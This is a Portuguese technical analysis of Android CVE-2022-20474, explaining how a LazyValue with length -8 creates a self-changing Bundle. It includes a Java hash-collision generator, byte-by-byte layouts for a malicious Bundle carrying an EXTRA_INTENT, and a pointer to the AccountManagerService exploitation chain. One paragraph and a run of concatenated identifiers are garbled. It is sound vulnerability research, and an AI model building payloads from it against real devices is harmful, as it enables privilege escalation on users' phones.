
Análise técnica detalhada e prova de conceito para o Android CVE-2022-20474, uma vulnerabilidade de incompatibilidade de Bundle que explora LazyValue com comprimento negativo para alcançar comportamento de Bundle auto-modificável.
Nota importante: antes de ler este artigo, você deve ter uma compreensão básica das vulnerabilidades relacionadas a Bundle Mismatch. Se ainda não leu os seguintes materiais de referência, é recomendável lê-los primeiro:
Recentemente, estava estudando detalhadamente o artigo LeakValue de michalbednarski. Ao discutir com Canyie, ele mencionou que neste artigo também é mencionada uma situação de Bundle auto-alterável no cenário LazyValue. Então fui procurar o texto original e, de fato, havia esse trecho, que eu tinha pulado ao ler o artigo de Michal. O original dizia o seguinte:
(Also
LazyValuewith negative length specified can be used (without using other bugs described in this writeup) to create self-changingBundle, the thingLazyValuewas created to eliminate. But that is another story (and separately reported to Google), in this exploit I'm aiming for more)
Michal provavelmente se refere ao CVE-2022-20474 (boletim, patch). Dei uma olhada no patch, mas a função no link do patch não estava completa. Após completá-la, examinei com mais cuidado:
@@ -4388,6 +4388,9 @@
public Object readLazyValue(@Nullable ClassLoader loader) {
int start = dataPosition();
int type = readInt();
if (isLengthPrefixed(type)) {
int objectLength = readInt();
+ if (objectLength < 0) {
+ return null;
+ }
int end = MathUtils.addOrThrow(dataPosition(), objectLength);
int valueLength = end - start;
setDataPosition(end);
return new LazyValue(this, start, valueLength, type, loader);
} else {
return readValue(type, loader, /* clazz */ null);
}
}
O objectLength no código é o length no LazyValue. Na verdade, este é apenas o comprimento do objeto variável contido no LazyValue, enquanto o comprimento total do LazyValue é controlado pelo campo mLength, ou seja, valueLength no código, que é passado para mLength no construtor do LazyValue.
Vamos comparar com o formato de layout do LazyValue:
/**
* | 4B | 4B |
* mSource = Parcel{... | type | length | object | ...}
* a b c d
* length = d - c
* mPosition = a
* mLength = d - a
*/
Com base no conteúdo acima, podemos obter os seguintes fatos:
mLength representa o comprimento total do LazyValue, mLength = objectLength + 8 bytes.objectLength deve ser maior ou igual a 0.mLength, não objectLength, porque a cópia de memória do LazyValue é baseada na cópia de todo o objeto.Então, depois de muita reflexão, concordamos que esses fatos NÃO SERVEM PARA NADA! Porque, com base nos fatos acima, só é possível modificar uma vez durante a leitura, e sabemos que a ideia central do Bundle auto-alterável é modificar após a leitura para contornar as verificações de segurança.
Quando estávamos prestes a desistir, de repente notamos alguns detalhes na descrição do patch:
Addresses a security vulnerability where a (-8) length object would cause dataPosition to be reset back to the statt of the value, and be re-read again.
objectLength anormalEle menciona que quando objectLength é -8, existem alguns problemas, o que nos deu algumas dicas extras. Neste ponto, o LazyValue ainda consegue aplicar normalmente?
@Override
public Object apply(@Nullable Class<?> clazz, @Nullable Class<?>[] itemTypes) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
// Check mSource != null guarantees callers won't ever see different objects.
if (mSource != null) {
int restore = source.dataPosition();
try {
source.setDataPosition(mPosition);
mObject = source.readValue(mLoader, clazz, itemTypes);
} finally {
source.setDataPosition(restore);
}
mSource = null;
}
}
}
return mObject;
}
/**
* @see #readValue(int, ClassLoader, Class, Class[])
*/
@Nullable
private <T> T readValue(@Nullable ClassLoader loader, @Nullable Class<T> clazz,
@Nullable Class<?>... itemTypes) {
int type = readInt();
final T object;
if (isLengthPrefixed(type)) {
int length = readInt();
int start = dataPosition();
object = readValue(type, loader, clazz, itemTypes);
int actual = dataPosition() - start;
if (actual != length) {
Slog.wtfStack(TAG,
"Unparcelling of " + object + " of type " + Parcel.valueTypeToString(type)
+ " consumed " + actual + " bytes, but " + length + " expected.");
}
} else {
object = readValue(type, loader, clazz, itemTypes);
}
return object;
}
Pode-se ver que o readValue real começa a ler a partir de mPosition, depois lê LazyType e objectLength em sequência, e então entra no fluxo normal de leitura de Value. Por exemplo, Parcelable precisa ler ClassName e depois executar createFromParcel. Após a leitura, não há diferença de um Key-Value comum, e não afeta a serialização subsequente. Relembrando: a ideia central do Bundle auto-alterável é modificar após a leitura; isso aqui é apenas uma leitura fora dos limites comum. Parece que esse caminho não funciona.
E se o LazyValue não for apply durante esse processo? Ou seja, se ele continuar participando do IPC como LazyValue, então sua função writeToParcel será chamada:
public void writeToParcel(Parcel out) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
if (mSource != null) {
out.appendFrom(source, mPosition, mLength);
return;
}
}
}
out.writeValue(mObject);
}
Todo o LazyValue é copiado diretamente, a menos que mLength = 0. Espera! Mencionamos acima que mLength = objectLength + 8 bytes, e pelas informações do patch sabemos que para desencadear a vulnerabilidade, objectLength deve ser -8, então mLength = 0 é válido. Em outras palavras, neste cenário, todo o LazyValue simplesmente desaparece, apenas a String Key é copiada, resultando em uma escrita ausente, e a condição de Bundle auto-alterável é diretamente satisfeita.
Sabendo a causa, podemos começar a reproduzir, mas antes disso, precisamos de mais alguns detalhes.
static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
private static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'
Todos sabemos que o layout de memória do Bundle é aproximadamente o seguinte:
/**
* | 4B | 4B | 4B |
* Bundle{| length | MAGIC | size | Key | Value | Key | Value | ...}
*
*/
MAGIC é o número mágico do Bundle no layout de memória, podendo ser BUNDLE_MAGIC ou BUNDLE_MAGIC_NATIVE. A diferença mais importante é que BUNDLE_MAGIC faz com que os Key-Value sejam reordenados após a desserialização, como mostra o código a seguir:
/**
* Reads a map into {@code map}.
*
* @param sorted Whether the keys are sorted by their hashes, if so we use an optimized path.
* @param lazy Whether to populate the map with lazy {@link Function} objects for
* length-prefixed values. See {@link Parcel#readLazyValue(ClassLoader)} for more
* details.
* @return a count of the lazy values in the map
* @hide
*/
int readArrayMap(ArrayMap<? super String, Object> map, int size, boolean sorted,
boolean lazy, @Nullable ClassLoader loader) {
int lazyValues = 0;
while (size > 0) {
String key = readString();
Object value = (lazy) ? readLazyValue(loader) : readValue(loader);
if (value instanceof LazyValue) {
lazyValues++;
}
if (sorted) {
map.append(key, value);
} else {
map.put(key, value);
}
size--;
}
if (sorted) {
map.validate();
}
return lazyValues;
}
O sinalizador MAGIC afeta o valor de sorted em readArrayMap, desencadeando a ordenação do mapa. Os comentários também mencionam que a ordenação é feita pelo valor hash da key String.
/**
* a
* ArrayMap{| Key1 | LazyValue1 | FakeKey2 | Value2 | Key3 | Value3 |}
*
*/
Vamos imaginar novamente o fluxo de análise do ArrayMap. Na primeira rodada de análise, primeiro analisamos Key1, depois tentamos analisar LazyValue1. Mas o objectLength de LazyValue1 é -8, então o ponteiro do parcel retorna ao início de LazyValue1, ou seja, ponto a. Isso é o que foi mencionado no Fato 4 acima. Agora, o primeiro Key-Map já foi analisado. O segundo Key-Value começa a ser analisado a partir do ponto a. Neste momento, primeiro será lido o comprimento da String. Supondo que LazyValue1 contenha um Parcelable, então esse comprimento deve ser 4. Portanto, o verdadeiro Key2 começa a partir do ponto a, ou seja, = + . não contém dados, então seu comprimento é de 8 bytes ( + ). O comprimento total da é 4 (identificador de comprimento) + 4 * 2 + 4 ("\0") = 16 bytes. Subtraindo os 8 bytes do , precisamos complementar mais 8 bytes na construção, ou seja, 2 . Em seguida, lemos . Portanto, na primeira análise, precisamos usar um para lidar com o problema de avanço do ponteiro causado pela leitura de um com negativo, e o valor desse não nos importa, pois ele só é usado na primeira análise, sendo apenas um . Já que é um cobaia descartável, esperamos que após a primeira análise ele fique longe dos nossos dados críticos, e que o contenha nossos dados maliciosos. É melhor que o valor hash de seja maior que o de , para que não afete as análises subsequentes. Através do , podemos ajustar o valor hash de para atingir esse objetivo, o que será detalhado no . Em seguida, entramos na análise de . No Bundle mismatch, como de costume, colocamos um malicioso em contendo o malicioso, mas tem algumas restrições adicionais. Após a primeira rodada de desserialização, o layout do deve ser assim: o cobaia fica no final:
Key1-Value1 | Key3-Value3 | Key2-Value2
Como mencionado em objectLength anormal, o comprimento de LazyValue1 é 0, então durante writeToParcel, ele simplesmente não é copiado! O layout real é:
Key1 | Key3-Value3 | Key2-Value2
Após a leitura de Key1, ainda há necessidade de ler Value1, e aqui ocorre novamente a leitura fora dos limites. Key3 precisa assumir a responsabilidade de ler o LazyValue1. O primeiro int em Key3 deve desempenhar o papel de comprimento de String e também o papel de Type do LazyValue, o que significa que o comprimento de Key3 não pode ser muito curto, senão o hash fica difícil de calcular. Olhando a lista de LazyValue Type, escolhi:
private static final int VAL_LIST = 11; // length-prefixed
Claro, você também pode escolher 12, 16, 17, desde que não seja muito curto.
O segundo int de Key3 também precisa atuar como Length do LazyValue. Através dele, podemos controlar o comprimento de LazyValue1, apontando o próximo ponteiro para o início do Intent malicioso. Você diria que o conteúdo de LazyValue1 não é válido? Isso não é problema meu, desde que você não chame getXXX para apply nele, ele sempre será um LazyValue.
Basta escrever um gerador de ruptura:
private static Pair<Integer, Integer> generateInt(){
while (true) {
Random random = new Random();
int number1 = random.nextInt();
int number2 = random.nextInt();
Parcel parcel = Parcel.obtain();
parcel.writeInt(11); //
parcel.writeInt(32);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(number1);
parcel.writeInt(number2);
parcel.writeInt(0);
parcel.setDataPosition(0);
String str = parcel.readString();
if (str.hashCode() >= "Cxxsheng".hashCode() && str.hashCode() < "Cxxsheng".hashCode() + 1000000)
{
parcel.recycle();
return new Pair<>(number1, number2);
}
parcel.recycle();
}
Claro, também podemos forçar a ruptura de Key2 e ajustá-lo para a frente, mas o comprimento de Key2 é fixo em 4, é mais curto, com menos espaço de manobra, enquanto Key3 já reservamos algum espaço acima, facilitando a ruptura. Supondo que nosso Key1 seja a string "Cxxsheng", queremos controlar o valor hash de Key3 para que seja maior que o hash de "Cxxsheng", mas apenas um pouco maior. Defini 1.000.000, para que haja uma grande probabilidade de eles ficarem sempre juntos, e o terceiro Key2 não consiga interferir. Como mencionado acima, os dois primeiros int da string são fixos. Portanto, primeiro escrevemos VAL_LIST (que também é o comprimento da String), calculamos que faltam 32 bytes para o Intent malicioso, e os zeros restantes podem ser usados para ruptura. Escolha 2 deles arbitrariamente para ruptura.
Podemos usar number1 e number2 para controlar a ordenação do terceiro valor no ArrayMap. Como o ArrayMap ordena pelo hashcode da key, podemos fazer com que o terceiro valor se torne o segundo após a desserialização, ficando logo após o primeiro "Cxxsheng", conforme abaixo:
Bundle[{Cxxsheng=Supplier{VAL_PARCELABLE@28+0},[um monte de lixo]=[ByteArray malicioso], [um monte de lixo]=0}]
Podemos observar que a ordem de leitura também será diferente da ordem de escrita. Após a conclusão da escrita, conforme analisado acima, todo o LazyValue foi descartado, e o terceiro Key-Value é reordenado para a segunda posição, incluindo type e objectLength. Portanto, o layout da página se torna o seguinte:
O leitor pode usar a clássica cadeia de exploração AccountManagerService por conta própria. Não vou me alongar sobre se é possível explorar com sucesso, pois depende se a função checkKeyIntentParceledCorrectly estava presente no patch de novembro de 2022. Aqui explico adicionalmente: essa função utiliza o fluxo de chamada IPC simulado para bloquear a cadeia de exploração do AccountManagerService. Portanto, mesmo que exista Mismatch no Android 12 ou 13, pode não ser possível explorar com sucesso; é necessário encontrar uma forma de contornar essa função.
Podemos simular essa função para imitar o fluxo de chamada IPC conforme abaixo:
private Bundle simulateIPCBundle(Bundle originBundle){
Parcel p = Parcel.obtain();
p.writeBundle(originBundle);
p.setDataPosition(0);
byte[] bs = p.marshall(); // durante o debug, você pode ver os dados do parcel aqui
// marshall não altera o ponteiro do Parcel
// p.setDataPosition(0);
Bundle simulateBundle = p.readBundle(getClass().getClassLoader());
p.recycle();
return simulateBundle;
}
Depois, aprecie a saída do log simulando o fluxo de chamada IPC. Consulte meu código no GitHub para detalhes:

Key2LazyValue1FakeKey2LazyValue1LazyTypeobjectLengthstringLazyValue1writeIntValue2Key2-Value2LazyValue1objectLengthKey2-Value2Key3-Value3Key2Key1Key3Key2-Value2ByteArrayValue3IntentKey3ArrayMapKey2-Value2| Valor | Descrição |
|---|
| "Cxxsheng" | Primeira chave |
| 4 | Será lido em duas rodadas: na primeira rodada representa VAL_PARCELABLE; na segunda, torna-se o comprimento da String da segunda chave |
| -8 | Será lido em duas rodadas: na primeira representa objectLength do LazyValue, fazendo o ponteiro de leitura retroceder, causando duas leituras; na segunda, torna-se o valor String da segunda chave |
| 0 | Valor String da segunda chave |
| 0 | Valor String da segunda chave |
| 1 | VAL_INTEGER |
| 0 | Segundo valor |
| 11 | Comprimento da String da terceira chave |
| 32 | Valor String da terceira chave |
| 0 | Valor String da terceira chave |
| 0 | Valor String da terceira chave |
| number1 | Valor String da terceira chave, esses dois valores são usados para ajustar a ordenação |
| number2 | Valor String da terceira chave, esses dois valores são usados para ajustar a ordenação |
| 0 | Valor String da terceira chave |
| 13 | VAL_BYTEARRAY |
| Comprimento do LazyValue | Calculado |
| Comprimento do ByteArray | Calculado |
| ByteArray | Contém o par Key-Value malicioso, ou seja, Intent.EXTRA_INTENT e seu Intent |
| Valor | Descrição |
|---|
| "Cxxsheng" | Primeira chave |
| 11 | VAL_LIST |
| 32 | Comprimento do primeiro valor. A validade do restante já não importa (nunca será aplicado o LazyValue), aponta diretamente para o início do Intent malicioso no ByteArray |
| 0 | Valor dentro do LazyValue |
| 0 | Valor dentro do LazyValue |
| number1 | Valor dentro do LazyValue |
| number2 | Valor dentro do LazyValue |
| 0 | Valor dentro do LazyValue |
| 13 | Valor dentro do LazyValue |
| Comprimento do LazyValue | Valor dentro do LazyValue |
| Comprimento do ByteArray | Valor dentro do LazyValue |
Início do ByteArray / Intent.EXTRA_INTENT | Segunda chave |
| Intent | Segundo valor |
| Terceiro Key-Value | Foi reposicionado para o final |